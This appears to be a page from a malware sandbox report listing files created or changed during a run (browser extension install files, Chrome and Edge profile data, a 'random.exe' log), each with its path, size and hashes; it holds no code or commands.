Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\Temp\scoped_dir4332_2067382908\CRX_INSTALL\icons\icon128.png
Size 15KB
SHA256 8187a3c6aaa02a29eb14a474a033ade8625fb5fd1d7a084636761266aaa9e5a2
MD5 949544f5a3c51dde5723dcd91503715d
SHA1 b4669358cd7c39e2bde33039b05e7892909da2b9
SHA512 d6eb6c4d44fcb2e41fec98c0184fef378d1457ba76e5abc50ee706205e78f57aa95852fad648c3fc739a10c6b2d300077794291de38fcccbd84bccd212ac1a61
SSDEEP 384:n5N+sE4O8hoBTRYxCqeCPyrHVXXskzfyzmu1cnG8Jlw:n5N+FuKZRYRDyDFX5z3ppw
TLSH
T1ED72DF60A476DBF1209C6374E28896B0F5EE518543F314CA6F7B0CC395A789924F1787
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

icon16.png

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\Temp\scoped_dir4332_2067382908\CRX_INSTALL\icons\icon16.png
Size 595B
SHA256 432342fea5aca797964bc3ee5abd5e0a726975b934710d2c880e1a25458752e7
MD5 8ebe4837063b4d8fc1490b95d0bd3a0e
SHA1 433da8e16d2263afe9c335f0cbff3a24e35a8cef
SHA512 ee5e612b9076cd5ec00d6ce474561311c05d1294a8e670ccabab3de151869ad0b51782a95f8cd18470a7940eb8f7447a80a1ee20f60fcfa5ba994877a5e46188
TLSH
T198F041CA5624F53CD95266E57A9D82C488FAF1643CA06D4C0A0F488CE95F61CC49FBC0
MD5 SHA1 SHA512 TLSH

Submit Download

icon32.png

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\Temp\scoped_dir4332_2067382908\CRX_INSTALL\icons\icon32.png
Size 1KB
SHA256 4a2832627bbb7f90bdb9200393c944872cefcbf200aca69006102dfe9b305f66
MD5 766e66583e8a521b7df70b3b399c5967
SHA1 3d965daea70f017b8157b58f10b828b677353d93
SHA512 9c1220e9acc512ae99f8e3433828fb1c06c5bedcf333c9a934e58c5ae93a30e037b73c19857c74eca3971850269a0346480599460cde40bfd8593a5ac8aac1e2
TLSH
T1C0312C4417CB29FEDC442611090F52C7990E10478AB2F4490D184E90A53E53FF8C5B5F
MD5 SHA1 SHA512 TLSH

Submit Download

icon48.png

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\Temp\scoped_dir4332_2067382908\CRX_INSTALL\icons\icon48.png
Size 2KB
SHA256 2fabfa1f58aede830f55f7b2da6e690def790fbdd39e672027db78ea50a2c5f4
MD5 2f02c3516487f18d80bbcd1ce61e23c5
SHA1 1ebf840ea7c38bbd139981c883f7e24a19be88e3
SHA512 aab0b1d340ed0983114d59b94d05d97963e8faf7aac4f5ad0e4318911c9ef00252d0031add9643814bf4f5a488ab09bed14d948a86185fa5899659b5729a8c73
TLSH
T165516EF7DDD7BE461619A7571F4A263626862AD01A43D40F336E9238D4B801DA5D0126
MD5 SHA1 SHA512 TLSH

Submit Download

offscreen.html

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\Temp\scoped_dir4332_2067382908\CRX_INSTALL\offscreen\offscreen.html
Size 113B
SHA256 6ed386e7427a1d646d5da9924ff4fd3aec373313fdb053179b187c1980936c02
MD5 1f36a6e720e53fe5473258acb854787a
SHA1 1020c341a7b908edf8ab1af234aaf3d8cec2284a
SHA512 5497a14d7178c3c2563dba8a131dd89c16e83f57a0dd564c5864da342873dfd748489bc32be2005d29f7126182bddd19b880b4669277dc23ae5aca9b0a370c48
TLSH
T18BB092EEACA1405958103EC80E91A21C1819B699B411CE0468E535789D5435AAC03A84
MD5 SHA1 SHA512 TLSH

Submit Download

offscreen.js

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\Temp\scoped_dir4332_2067382908\CRX_INSTALL\offscreen\offscreen.js
Size 378B
SHA256 c118adfd92ffc622dc43f9aad164134f03948a7188faaf1066cff9ea45d598f9
MD5 782c0a2855804697e5bdc87c282c67e9
SHA1 d3ba22734404814bcad029ed78fa2e36f64febf0
SHA512 1ef608bbbc848fa365427e5c09bdc120c9c3bc0039c82e98d007ccfb080ccbca4e63162f0523455cf9a377afa282085871cd83b8c5e78231532714e5470215f0
TLSH
T138E06878372A1D34411A1516203DC380B5B2241AAC07A445F00C9AEC6A70A038997CA1
MD5 SHA1 SHA512 TLSH

Submit Download

popup.css

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\Temp\scoped_dir4332_2067382908\CRX_INSTALL\popup.css
Size 18KB
SHA256 c18e145c3b3184c02d2c7129d68666489123da156312cb9ac76e89ec035f1324
MD5 ed4c5e30fad65dd70bbd01af95985e80
SHA1 1b2841293a661c4a83bd65b70e355d72ae160266
SHA512 9874e1529810d47ac26389d1c46ebb8ce47684d4d728adfc0930f553aff2c729d31a998e2d1a53abf0c30879b0b665d6cdf00e51860f4a088d43f1d5605a8aa0
SSDEEP 384:85iFu1apbOF1FUBFki4e60v1t3ep/1QF7vrDTvTZXWNETdRkIEF/Z9R:8IFu2qF1FyFki4Z0v1t3e9a7vr/vTZmV
TLSH
T12882339367150100B91BED687D53DFC6B31C66429019D7BC7FE0242CDC8D1AA2ABAFAD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

popup.js

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\Temp\scoped_dir4332_2067382908\CRX_INSTALL\popup.js
Size 16KB
SHA256 6629c94c1fa2c96e7e346a7aa527802433c6a245e41f4010af4d51cd189ded1f
MD5 95fe3f83a65f1477505b07e8df6ca55c
SHA1 a30ef0b8c990821502fd6faeae5a2ec325aa99db
SHA512 a07c11e4083d857eac2a304203b8a8730c2edd323a350fc5d5417a40c69b2b8371e809d1ade6a6b7a573dc1141238bcc24e428e070f1e7b84640dda0515fb89a
SSDEEP 384:EkF8p2UcrN30419VbEcEwEl7GOIE6REqyu:BF8pncrZ0BHjzIE6REc
TLSH
T1A372F994B280743B02AB90EC965B235B72F685C9C40A4140A679DF742FFECCA7D377A5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

computed_hashes.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\mlflgnidohcdebodadahjnmmkdgmnplk\1.0.0_1\_metadata\computed_hashes.json
Size 2KB
SHA256 46a279a6cc7de6b2924bb1fbbaf6f548ba48cb6963b32302be81aae68a8dc671
MD5 566932a0831d5c6f22073d17f9385631
SHA1 79bb32ec724e18a298cd190611026732f02b7b12
SHA512 30ae6d8cc7e36350d9b923601700ac1a67ba54a8b053663bb71277a6645224d81b3f7e9defec2555498588ed6ff0269641c49f6917523170c100e7309ef1d325
TLSH
T19641A40109B6A497DF266B942D030B9293A876D0AD8859E2BD58A778F2CCC0F365353F
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 5KB
SHA256 cdfe73cc2eb7990a7be782945b8b3ac2c57fbe802531347fc90fec210c3f7d20
MD5 dadfcb1912a7e9e93e6bfc8784c51990
SHA1 ecf77e3bb6aacb2739f7f89cb0329bb2836a88a0
SHA512 a0dcd577f2b8a6c4c8a916aeb9d2256780e125d9a537824bf5f173d30b654a860ed67d71cc20692c54b1be391c3f1c2a5793ef68bfd205c5d6a37af5c954bcb9
SSDEEP 48:YALlhAgymPhthInhyhwqCqCzs5TRswfoKssgmzscOBgNsUOBPNsvtsrfsk3qzs1y:Dm0nC4WtvMrr/ugvuPQYvV2s8Ydb9WTv
TLSH
T19EC19EB7C3D8866DC85196F4A7256F1FDE390A18432D3C66C8D9AF4B93F2872D21124E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 b5e63660abd9ad47df7cab1a128eedcb4f9f6183fed871162d066c41749aaabd
MD5 44acf988ebf08662de92786a67725195
SHA1 e08a6919514ffb28411100ae3e54e9b6464eff69
SHA512 5361611fcbcae1b874deba977a9017fd0180eea6a305b622cd53614a88d2ccb0c8c06dfe81440b4318f6d4c4e9ff9a4a30467309d63c4ae89d5dd082bdbabd77
SSDEEP 192:dReXjZBOCWxv7XpAPRp2A9BHsb+WNnv00/OXS7kwxCB/VyIsnAUgtaJ:dReX9kCm7UX/DwM0x7Rk8
TLSH
T18C42E72DBE18743B9CDBC319ED21BB53D7F6102161951E88EAFC892C14E75CE621B41B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 13KB
SHA256 de61099000805d8a51f817946cbd3a8a4597c9773bca94a1a25752e359204276
MD5 886aa38dd1fe44d9c0d14a8c79a687f0
SHA1 62387bf604ad70b3b9ed4aa200ad1cbc4ac32152
SHA512 d8a192cd06a0061e39212efb4a7505525e7672fffabf9e0888377959f6bb767663d1c4a44c621d8651b041f177a5b702027720af32cdada5ef8f4406e96bc208
SSDEEP 192:dR5hXjZBOCWxv7GpAPRp2cb+Ej9BHsb+WNnv0bL42XOXS7kwxCb/VyIsnAUgtaJ:dRHX9kCmCUXVDwMo2J7Ra8
TLSH
T16352F72EBA18393B9CDBC259FD21BB17E3F1102161951E88EBFC891C14E76CE621B417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 144B
SHA256 0cd182a2de6394728a3a2360a3f77999f1f41a783707c85f40b274209ebecdea
MD5 3414cb9c211f737f56e8552f000c1faf
SHA1 742064d9644a31c97b041cb6a710d34ff439f0d9
SHA512 dad7fd9b2448b03b302c4ea7abf2b1c5c489eac080098a44fba962b73b863b68c29a636e368ba821392b1a6dd1fbe04795150ca3c0493d9fc066da63de1bf65a
TLSH
T1FBC092008006E113C00603B42FCAC14E3674FB24C2022387B1E4376BBD622224A25140
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5e1952.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe5e1952.TMP
Size 120B
SHA256 78a41893da63f2e42038fb244cf79a10fd11d9ce7b81c55984b4f4ca3f3541ec
MD5 09aeed14f25dca166c3fdc66adc247dc
SHA1 a70f49662a2f29a97b8667caa4d5e5120ec26346
SHA512 7f6c2881193c50437d7f258fffc5eda037417fcb5c524d369f1c93d5af34fa7823496136d75b042dc856486f8b107a9b786d8a51dfbea5bc101c73166eaddae6
TLSH
T150B01201C0C21615EC1343B2194521843300DF10C608130351D03713FC911B50818301
MD5 SHA1 SHA512 TLSH

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
Size 13B
SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
MD5 43ef949d3c6e9956545979ace65d0085
SHA1 63f2b2de8727854597e49a1216e8e74c68117c07
SHA512 313a5ab7ac9b5efd955beba4615784bdc2a9058ddaa804d85fb2d0c651dd3de07e382d61a1bb482499520a80e0b64c004ff2af03459cbc1daef47f540f0a6905
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 90KB
SHA256 89c196b27770aad92650d4dc7d485fd89840540f01435eded040528f09a85a60
MD5 e6195e8166ade09aec771f5c0c5470e4
SHA1 b96f778bd55d8156b448a370bacc4abce44e67fd
SHA512 98d11d1a54f271ddd377dad4501b04e2f392a991c05db0aa1eaf6f2f085dc7fd9ff500cf5e1d763b35d4b6e4fcf6c4f72b61242ab897e4a623f4e9a385de72d3
SSDEEP 1536:aP/0qP++SKG0qRilWUATqUd408KMYbF5ITGkbEKTldfQVHV+Y6zIFNx:I++J3qUQm08KMWF0bFTcVHr6z2
TLSH
T1309302B8991F7979536BC69690179CAC4DD3DCCE111821BC30C76F1E18BE393A31B895
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 91KB
SHA256 f9d556553868123d4bf6c28a55b6fc913962768603115011a00dc08566b2f002
MD5 ed6553877da8e406167d3913a9bfac4a
SHA1 bd261d064d53d737f8c737ad11e4685ec537293e
SHA512 3ef885eba1ade7cbd9bb22dca7d470eefe139c9958f47216444b62685b7b2034e5828bcf6b21160178508df34fc4389b0f4a225c992ac39932287c603fcab2c1
SSDEEP 1536:EP/MyxP++SKG0qRilWUATqUd408KMYbF5ITGkbEKTldfQVHV+Y6zIFNA:a++J3qUQm08KMWF0bFTcVHr6zX
TLSH
T1989302B8A92F7C7963ABC69690079CEC8DE3D8CE1114157C31C76F1E14EA392A34B895
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 90KB
SHA256 92ffdd31288278fbfd2eaceaab30b3e26187814844bc668fb5122bf8b2c455d2
MD5 22a2233e53e32d751923c4cfdbc3c50c
SHA1 3ceb9822fd4ef6c8d0220a8ae0d6340845e012b3
SHA512 decea75495343dc8f2bcb36743568334d15859292cc0dcfff481c454b43a64baf2cb756a95e0e2897105281c4ccff4a069314f7219eef4e7cb98c07e9023bc41
SSDEEP 1536:aP/0VP++SKG0qRilWUATqUd408KMYbF5ITGkbEKTldfQVHV+Y6zIFN0:l++J3qUQm08KMWF0bFTcVHr6zH
TLSH
T1CE9302B8991F7979636BC69690179CAC4DD3DCCE111421BC30C76F1E18BE393A31B895
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 90KB
SHA256 f837a349aec5873b7b32dc29c4b11e4acdc7c7e61afc65147d1e205fd13c573c
MD5 706d9a4ac46dc2dbc48772f23f6cacf0
SHA1 aab0b459ddc287888970091c573d2aa0bef36eba
SHA512 aea13b46ea3906cd0be52763bae493328d684f7c95af55a084462af8deee862f356a106502e995b00e4e91b1b6939066ee97c30f0d36ca42ecf2d3a009b67655
SSDEEP 1536:aP/0jP++SKG0qRilWUATqUd408KMYbF5ITGkbEKTldfQVHV+Y6zIFNb:D++J3qUQm08KMWF0bFTcVHr6zA
TLSH
T1999302B9991F7979636BC29690179CAC4DD3DCCE111421BC30C76F1E18BE393A31B8A5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 90KB
SHA256 959467ed6b576fb243eac8f3d37955f08b3694eef375caad9475a35f81dd6f1f
MD5 512659863be43ffe5f891838db9491a8
SHA1 d4187f3806f5fa632598597400062b1f0a3956dc
SHA512 cc0ee03b6b17ca25ccd84b065c0c004f686b4a9f27ecbe6d5a426de579f28b6a88dcddd6007223c1a8dec0949a835b5518440777e0736f5a495cb198a88b6c61
SSDEEP 1536:aP/0nP++SKG0qRilWUATqUd408KMYbF5ITGkbEKTldfQVHV+Y6zIFN1:3++J3qUQm08KMWF0bFTcVHr6zC
TLSH
T1199302B8991F7979636BC69690179CAC4DD3DCCE111821BC30C76F1E18BE393A31B895
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 91KB
SHA256 7934f39476fa949de4d0ca1cc587b0598404ae60cc2e876c3aa114294f57ecf0
MD5 c60c1f9bea83dbb7ebfaf21a89c1b87b
SHA1 057a846832a4944f781ae25388b748cc8e3cffca
SHA512 85c64b9aa15f0b08ab1aa35295a81f7cad4ff883a4124884de1b09ceb40814f6184309e44d2b3d8550a2b4a229ff15a53bb4e8c1acf1b48f1c22723b18a8ca3b
SSDEEP 1536:/P/MyxP++SKG0qRilWUATqUd408KMYbF5ITGkbEKTldfQVHV+Y6zIFNA:D++J3qUQm08KMWF0bFTcVHr6zX
TLSH
T1229302B8691F7C7963ABC7969007ACEC8DE3D8CE1118157C31C75F1E14EA392A34B895
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 91KB
SHA256 b157d918cf0cee22060b75068cc1982232369c13e0093120a2e1e9327594ddfa
MD5 77d1833e5ced868a8b0c18abda8a2f9d
SHA1 ed1496ddc5d5dbc43820b38ccc4da539a0be3f09
SHA512 f96a9feeddc27b8b7cbd8a3ef481b9122f41d4272a452396f988dc75412b7dbd076f95bcb6eeaa6583c76074fe5de751134b7cc2175a139b7c44f391157bea89
SSDEEP 1536:EP/8yxP++SKG0qRilWUATqUd408KMYbF5ITGkbEKTldfQVHV+Y6zIFNA:G++J3qUQm08KMWF0bFTcVHr6zX
TLSH
T12D9302B8A92F7C7963ABC69690079CEC8DE3D8CE1114157C31C76F1E14EA392A34B895
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

random.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\random.exe.log
Size 521B
SHA256 3e2dd281936b791478821f780711c45eceac080b4a52dbfb98b2b2190a74229f
MD5 a0aae0bfd799801cbd243642ea723ff1
SHA1 f1da37b70789c50dfd4318bcfb1817bd9d7eb0a2
SHA512 ae36e0cc2b5b4c60cab02811a518caf5f62d93e39dd639596bae916a1d2ceeb67b9bc29538d76801be05c6caa07e9c41ebc489a9e0e9e5b194c32a0a4dbd2095
TLSH
T18DF09E303271B1D848022F82181C668942FF0745B6B8EF2C76D0320EDC3505B6F322E3
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 032d003c8afc21a040a61260bb0f19a96fbbd3618d2db45b373e8d484d076a40
MD5 ce542b6f980a2fb52005a38705f07005
SHA1 4458c683c76c6f163d8d442f394c289f6d5ce861
SHA512 e2da7e6f486a39962a0fd570db7b2b67c00cee907ba4e99157fba0816b50b5d6bcf14d945cb5c7146a4aad77f74de3b1af285d0043a6a0cb6579490c0ebacbb5
TLSH
T15AD0801035F978D6D10385725C0077016D5597D67DA7AA1B7571E83DDC1641463D01A7
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 98583f89d70c47478493c25e6bcc4ec23280f2131b3f454c2df0bc7d3244722d
MD5 451d5e10d3a5d12e082b068bec20c51d
SHA1 df06137583986cf70c2be2e6fb32525904b8064d
SHA512 66db84b5df40c85f5c0898f88522989de09d98243ccf4c8be184903d13ca6f0a7161d883153d52ef17177e59aeef7f9e870854c40284a132474468b1ec09877b
TLSH
T1FED097003AF4A882C08282B1880032412A8557D23D63950A3171B42D8C0100862C01A3
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 5d8c0ebc33f7882ac8aaa0f941413384749c7672a7744de3485d53f3d7a832ce
MD5 fb7d9391eb1040937b5c31ff61febe79
SHA1 0be0bde544b492ac590e441f96bf8d0a378d3782
SHA512 d4a405f080afee18100d407e824cc3366114b1acd56307d247bc25ee87ffaba37406581a2dfcfe9320df4d014582f86fd300e9f67a54b4fcd2e471e1358c493d
TLSH
T1AED0804425F15CB6D046C57115457B053955D6A79E539B1A35F36C784C4300115511F7
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 71f86f37b013034051fae2e3307728bc40653c617383d6aa85219dd8ea093ca3
MD5 2ee9c9062df63fee32f65bc087b93005
SHA1 2874f6b34fdb5f9ff64aed6e38005f7940050b27
SHA512 99729f971f840d780b0e5404260284b048d532cb0dbd20969536cacd61a2d2c52568d6b9d96f6f0168b93eaa3c7236b49d8aafb6138d1b1fcbe89990c6af5af3
TLSH
T1AFD08C4821F66CBAD09ACA7219057B0A2959EAA79E93AB2A39B36C784C4300115911F7
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 8938aca829c2af3f49c509dfc9a01544de7fdf04b3499ddc60c6eb981a2a5c8a
MD5 a563112049220c78036e3cef135ab498
SHA1 6cb69cad4622b4cfdc96c3b1bb5b7d66e820dfba
SHA512 3a8045ba1cefa4a7a32faa811dc2f98dd5770fbc790c77fbb9e03dcd051937420a8a7b8e65c68155b2b7ad9202b0b3b7b2b18c5d0f3b5e64691acdce7055eab0
TLSH
T19ED0801035FD78D6D10785725C0077016D5597D67DA7AA1B7171983DDC1741453D01A7
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 358ad17e7b6d08c86a41f24f0dc7d97576bf40c982bd320491cb9ffd79555edd
MD5 0b892b56f2545b8a3640c93e0ba925c6
SHA1 f528fcdceab45697f8db7edc68ab9d3de744b68c
SHA512 9068af25ff84d930af7622a23d8da39231524379ba541b25b82d7921a6b34cd5d4a46423dd729261c5d7c50eeeb17873c6a30c33663029e08807c6327a6457ce
TLSH
T1FCD0801035F978D6D10385725C0077016D5597D77DA7AA1F7171983DEC1642453D01A7
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 6e0b126f5b0ddb6312faddf2c80bba9fd3ffc06272575483bcfc75b322f4a4d1
MD5 4758b747bc737424f70f75b73db228ec
SHA1 4b43769b1be89db0fc04eecdabc01635544eeafc
SHA512 f5f15fbccaf64ab453fcf509bb12a633879ae97a5328141356aca586037c16453faf4bd3dd182c26f8108d45d4c5adf7ab527d3ac0c646ba6a744f48af1c7123
TLSH
T103D0C01035F978C2C00381324C0073012D0593D67DA3AA0B3171983CCC0600013C01A7
MD5 SHA1 SHA512 TLSH

Submit Download

2366ace8-f921-424c-9028-392758752f95.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\2366ace8-f921-424c-9028-392758752f95.tmp
Size 15KB
SHA256 a4e2f949d078fc0e20d35f589d41e8a8189f1989cd9b2522d842bbb00ae77134
MD5 8c448fc5433a15040ad7b87b9da6ffa2
SHA1 b80c8d3e431f08f642ac0ab2c942f1656badf0f0
SHA512 3f52aebd78e2287fc5e2e191ea817b230a6770b6aec356536b4147ae476327734e786c38583e54bc3d8620fc8652be3ce572a6dfb66c4a247d5b9973e5d52a4c
SSDEEP 192:sxZlRTyMqZ/K1Ml8MN//f0XsUIpkZjFrLTP6c9zodpatmI/W6+WNGY0r6/iPgIgP:sxZlo1//fWsU0ajFrLTEK/bG5YiEjD
TLSH
T1C762E7156A389977CCD7D219FA41BF53D6F51563A1804E48AAFCCA0C04E7AED2217C2F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2fec5106-ed1e-43ad-9e1e-9041b0311424.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\2fec5106-ed1e-43ad-9e1e-9041b0311424.tmp
Size 1B
SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
MD5 5058f1af8388633f609cadb75a75dc9d
SHA1 3a52ce780950d4d969792a2559cd519d7ee8c727
SHA512 0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 7117a8a44371d57d4a380602255e56edfbe3f0a9ab3fc871a2aa23c299972718
MD5 00acf444a0eb34f8acdff21d4ee2b4c0
SHA1 cabeda0fa9d61fbb3919c6aeed35d64666a36ce5
SHA512 ea205632d24c74c203f1eb739cbac6550cf96758fe18dd4a9b90e74656a337ee548aa8e28b1cdd6a5eabfd24d22a14940313b22a7f1e1c99c54f0c81cd3e8d7e
TLSH
T1FC612B55B0B40809E7E409F50AF814C3FA37955812731E4EC9F1A8BE1A3C7C1EE99937
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5eb8ee.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe5eb8ee.TMP
Size 2KB
SHA256 eed8144970763a09640298178b0aa2316063e42a2e3f5d57e55151b0c49454bb
MD5 000f2d7d88a1eb5b1496d675f27c7e40
SHA1 3af8e79643d905a20411b8b1ac212acc3ab01207
SHA512 521678e1832e54ca41c7eda250a8b4475153106244a369376920492e91bc8d4fd1e922c31c22c16a66be2277b61be9ddf7c65c76d1040492c920fcd04c020891
TLSH
T163513C62B0B80809EBE559F40AF414C3FB3B945802331E5EC9F164BD2A3C7D1EE59836
MD5 SHA1 SHA512 TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DawnGraphiteCache\data_1
Size 264KB
SHA256 79739576e123f66cd7b557c69bcd4e3d27b70457c57567854fd35fdd686a24b3
MD5 ab9c11325c6cee3923c0d8abd1a4f1ec
SHA1 6a5a3580f6eef6e06e181420f73e4c665a029a4e
SHA512 d38950e847144c10491e65dcf417f115b7475af6f88a415689e76d282e8da107447cd8a3f649ceb184fc285a530aa9b708454a4a64706e8b033c4b7512c9968f
SSDEEP 3:MsEllllkEthXllkl2zE/lJ/l:/M/xT02zkt
TLSH
T1994402086B900906C510213040A983505370D4150626974324511C235C957400C48000
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 106KB
SHA256 eb2fd7422436fff93f6be09df3294b26cdb7afd18e6aa94dcdc0f208db78b2ed
MD5 25dca813dd764f2197142ef84bc5ce66
SHA1 8d6aefb01ee9f6d1fb0cfd89326cfe35af53a53d
SHA512 a9c8cd547c874b7b69cbb3a0c8214f43837911e522db768dcd075d23d05acfd7122cf2bcad281ea745025e4fb67cc9061b79f9dc1288ac1a113bd0d961841d43
SSDEEP 1536:IfEEtnH74ohBGZqW3iPPDuVvpBI/SvtZsA62UYPq:BuHSRhPjU1
TLSH
T154B35226D6A54C6B01F16264EC794382F325436F9282A82F3B7C5D5C2FBD93A6502F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 a192a4a65be4748eef7feb8624572ed2e918c236c6099bd652e9c1536cc580cd
MD5 96732a08fe4db9500ad90be0dc1be2ad
SHA1 bd86e7a68a33a1d0b80bd9adc03a8b75ad7119e9
SHA512 5e9f2c91460d9fa7ec04d3d6d179025e5397f7c9014e1c3ac979ad3384961bdd44731a29e77e8dbcd1c6a473dabbd2842e7a4e4b2c3a2db2e65cd141fc5c776e
TLSH
T1DC41CCF3C3E8956D8A0196F0AA18AF2BCE6D0505831C3D5AC5E4AF1BD3E38B5E10195F
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 4KB
SHA256 282cbfc9978562c884362ac99e200666e0f146d7762deb01ee7f7d47b155d2dd
MD5 991b28f5b35b2b5f2965e4dbec513bee
SHA1 8959f0b35e729ebae0a7d42eec716b7daea60876
SHA512 eaa0f0a14f9dc44ffeedf56317326adec50efa08fb8370b6a29bd033c96afb15c54b57bb3d756c49c2133f21e0ce60fec671305d512d8d18e89472d2f56ca21a
SSDEEP 96:D/OeWTkRazqugsuPnu0Bqj6xy2f8kNwdN8Gz6:DWeWTkRaGA4uQqj6xya8kN0N8GO
TLSH
T129A17BF7C3E8852EC95156F4AB156F2FCE290914432C3DAAC8D8AF1B93E2871E10565F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 4b2874f6ddb55988d24e6777a7e7cc9af4c80ec5cee21a0bf7ff4adfa15f8bff
MD5 93e89fe211efa530b65376888c1b7098
